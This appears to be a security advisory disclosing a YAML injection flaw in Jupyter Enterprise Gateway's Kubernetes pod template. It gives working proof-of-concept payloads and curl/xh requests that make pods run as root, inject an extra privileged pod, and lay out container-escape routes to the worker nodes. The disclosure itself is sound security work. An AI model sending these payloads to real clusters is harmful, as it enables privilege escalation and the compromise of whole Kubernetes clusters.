Description

Jupyter Enterprise Gateway: Kubernetes Manifest Injection in Jinja2 Template Rendering

Summary

The environment variables used during the rendering of the Kubernetes manifest allow YAML injection, enabling attackers to overwrite existing keys like securityContext and inject multi-document YAML to create additional unintended Kubernetes resources.

Details

The server interpolates untrusted environment variables (e.g., KERNEL_XXX) into Kubernetes manifests without YAML-aware escaping, enabling YAML injection attacks. Attackers can inject new fields, overwrite critical fields (e.g., duplicate securityContext keys, where the last one prevails), and inject document boundaries (--- for new documents, ... for end-of-document) to generate multiple resources, potentially creating arbitrary kinds like privileged pods.

The Jinja2 template for the Kubernetes manifest contains several kernel_xxx variables, such as kernel_working_dir that are used when rendering the manifest and are all vectors for YAML injection. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77

These values come from the environment passed in the API call, where they were KERNEL_XXX before being converted to lowercase.

https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137

PoC

These proof of concepts are injecting in the KERNEL_WORKING_DIR env var, but any of the env vars could have been used. By default, the KERNEL_WORKING_DIR will be ignored unless EG_MIRROR_WORKING_DIRS is truthy for the enterprise-gateway. This is controlled by the mirrorWorkingDirs value in the Helm chart.

Using ducaale/xh:

xh http://localhost:31529/api/kernels env:[email protected]

env-working-dir-exploit.yaml:

{
  "KERNEL_POD_NAME": "working-dir-root",
  "KERNEL_NAMESPACE": "notebooks",
  "KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n# INJECTION\\n  securityContext:\\n    runAsUser: 0\\n    runAsGroup: 0\\n    fsGroup: 100\\n# HAHA - stray quote \""
}

Resulting request:

POST /api/kernels HTTP/1.1
Accept: application/json, */*;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Connection: keep-alive
Content-Length: 233
Content-Type: application/json
Host: localhost:31529
User-Agent: xh/0.24.0...
Show more

Curl equivalent command:

curl http://localhost:31529/api/kernels -H 'content-type: application/json' -H 'accept: application/json, */*;q=0.5' -d '{"env":{"KERNEL_POD_NAME":"working-dir-root","KERNEL_NAMESPACE":"notebooks","KERNEL_WORKING_DIR":"\"/tmp\\\"\\n\\n# INJECTION\\n  securityContext:\\n    runAsUser: 0\\n    runAsGroup: 0\\n    fsGroup: 100\\n# HAHA - stray quote \""}}'

The rendered Jinja2 template:

# provided by the client.
#
# to launch_kubernetes.py if new document sections (i.e., new k8s 'kind' objects) are introduced.
#
apiVersion: v1
kind: Pod
metadata:
  name: "working-dir-root"...
Show more

Normally the container would run as uid=1000(jovyan) gid=100(users) groups=100(users). This injects a pod securityContext with runAsUser: 0 and runAsGroup: 0 (and fsGroup: 100). The processing of the YAML results in the duplicate key clobbering the original. Making the container run as uid=0(root) gid=0(root) groups=0(root),100(users).

In addition to injecting a pod level securityContext it is also possible to inject a container level securityContext which supports the privileged field.

Injecting a Pod

By injecting ... and --- it is possible to use multi-document YAML to inject Kubernetes resources.

xh http://localhost:31529/api/kernels env:[email protected]

env-working-dir-exploit-pod.yaml:

{
  "KERNEL_POD_NAME": "working-dir-root-pod",
  "KERNEL_NAMESPACE": "notebooks",
  "KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n# INJECTION\\n...\\n---\\napiVersion: v1\\nkind: Pod\\nmetadata:\\n  name: injected-pod\\n\\\n  spec:\\n  containers:\\n    - name: injected-container\\n      image: nginx\\n      ports:\\n        - containerPort: 80\\n      securityContext:\\n        privileged: true\\n        runAsUser: 0\\n        runAsGroup: 0\\n...\\n# HAHA - stray quote\""
}

This is rendered as (skipping the beginning of the rendering before the inject):

    workingDir: "/tmp"

# INJECTION
...
---
apiVersion: v1
kind: Pod
metadata:...
Show more

kubectl get pods -n notebooks

NAME                   READY   STATUS    RESTARTS   AGE
injected-pod           1/1     Running   0          4s
working-dir-root-pod   1/1     Running   0          4s

The injected-pod has been created in addition to the working-dir-root-pod.

kubectl get pod/injected-pod -o yaml -n notebooks -o jsonpath='{.spec.containers[*].securityContext}':

{
  "privileged": true,
  "runAsGroup": 0,
  "runAsUser": 0
}

Impact

An attacker can create pods running with arbitrary, image, securityContext, and volumeMounts including hostPath mounts. Privileged pods can be created.

Arbitrary Kubernetes resources of kinds: Pod, Secret, PersistentVolumeClaim, PersistentVolume, Service, and ConfigMap can be created.

Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. Multiple container escape vectors exist. It is possible to create privileged pods which could load kernel modules to compromise the host. It is also possible to specify volume mounts, so another vector for a container escape is to use a hostPath R/W volume mount, use the injected securityContext to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.

Mitigation

Aliases

References